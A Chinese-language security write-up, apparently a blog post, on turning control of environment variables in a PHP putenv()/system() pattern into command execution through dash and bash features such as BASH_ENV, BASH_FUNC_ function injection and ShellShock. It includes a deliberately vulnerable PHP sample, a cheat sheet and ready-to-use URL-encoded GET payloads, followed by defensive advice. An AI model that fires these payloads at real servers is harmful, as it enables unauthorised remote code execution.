场景还原
以下 PHP 代码片段是典型“环境变量注入”场景:
1 2 3 4 5 6 7
| <?php foreach ($_REQUEST['envs'] as $k => $v) { putenv("{$k}={$v}"); }
system('echo hello'); ?>
|
- 我们能完全控制运行时的环境变量
- 无法修改
echo hello 本身
- 目标系统
/bin/sh 可能是 dash 或 bash 的软链接
Dash 中的利用点
| 变量 |
触发条件 |
命令注入示例 |
| ENV |
必须加 -i(交互式) |
ENV='$(id>&2)' dash -i -c 'echo hello' |
| PS1 / PS2 / PS4 |
进入交互式 shell 后自动触发 |
仅适合拿到 tty 后手动利用 |
- dash 在非交互模式下(
sh -c)不会解析 ENV 与提示符变量,因此无法直接利用。
Bash 中的利用点
| 变量 |
触发条件 |
命令注入示例 |
| BASH_ENV |
bash -c 且非 sh 软链 |
BASH_ENV='$(id>&2)' bash -c 'echo hello' |
| ENV |
要求交互式或 login shell |
ENV='$(id>&2)' bash -i -c 'echo hello' |
| PS1 |
交互式 |
PS1='$(id>&2)' bash |
| PROMPT_COMMAND |
交互式 |
PROMPT_COMMAND='id' bash |
| BASH_FUNC_%% 或 BASH_FUNC_() |
任意模式(-c 亦可) |
见下文 |
当 /bin/sh → bash 时,BASH_ENV 失效(act_like_sh=1),但 BASH_FUNC_ 系列仍然有效。
通杀武器:BASH_FUNC_ 匿名函数注入
Bash 在启动时会扫描形如 BASH_FUNC_xxx%%(4.4+)或 BASH_FUNC_xxx()(4.2 补丁版)的环境变量,把值当成函数体直接解析并注册同名函数。
Bash 4.4 及以上
1 2
| env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
|
Bash 4.2/4.3(如 CentOS 7)
1
| env $'BASH_FUNC_echo()=() { id; }' bash -c 'echo hello'
|
无补丁老版本(ShellShock)
直接利用破壳漏洞:
1
| TEST='() { :;}; id' bash -c 'echo hello'
|
一张速查表
| Shell |
变量 |
sh -c 是否可用 |
额外参数 |
备注 |
| dash |
ENV |
❌ |
-i |
需交互式 |
| dash |
PS1/PS4 |
❌ |
-i |
PS4 仅解析变量 |
| bash |
BASH_ENV |
❌ |
— |
仅 bash -c |
| bash |
ENV |
❌ |
-i 或 login |
— |
| bash |
PS1/PROMPT |
❌ |
-i |
— |
| bash |
BASH_FUNC |
✅ |
— |
最通用 |
| bash/dash |
ShellShock |
✅ |
— |
老系统需无补丁 |
实战 payload
结合上文,给出可直接丢进 GET/POST 参数的 payload(URL-encode 后):
1 2 3 4 5 6 7 8
| # 针对 Bash 4.4+ GET /1.php?envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}
# 针对 Bash 4.2/CentOS 7 GET /1.php?envs[BASH_FUNC_echo()]=()%20{%20id;%20}
# 存在 ShellShock GET /1.php?envs[TEST]=()%20{%20:;%20};%20id
|
防御建议
- 白名单环境变量:启动子进程前显式清空或过滤
ENV、BASH_ENV、PS*、BASH_FUNC_* 等。
- 最小权限运行:避免 Web/服务进程拥有写文件系统权限,阻断
LD_PRELOAD 等旁路。
- 升级 Bash:确保系统已修补 ShellShock 并运行较新版本(4.4+)。
总结流程图
1 2 3 4 5 6 7 8 9 10 11
| 可控环境变量 │ ├─ Dash │ ├─ ENV(需 -i) ──► 交互式 shell 可利用 │ └─ PS* ──► 同上 │ └─ Bash ├─ BASH_ENV ──► bash -c 可用 ├─ ENV/PS1/PROMPT ──► 需交互式 ├─ BASH_FUNC_* ──► 任意模式,最推荐 └─ ShellShock ──► 老系统无补丁
|
一句话结论:
只要能控制环境变量,哪怕命令完全固定,也仍有机会在 Bash 中实现 RCE;Dash 则相对受限。
参考链接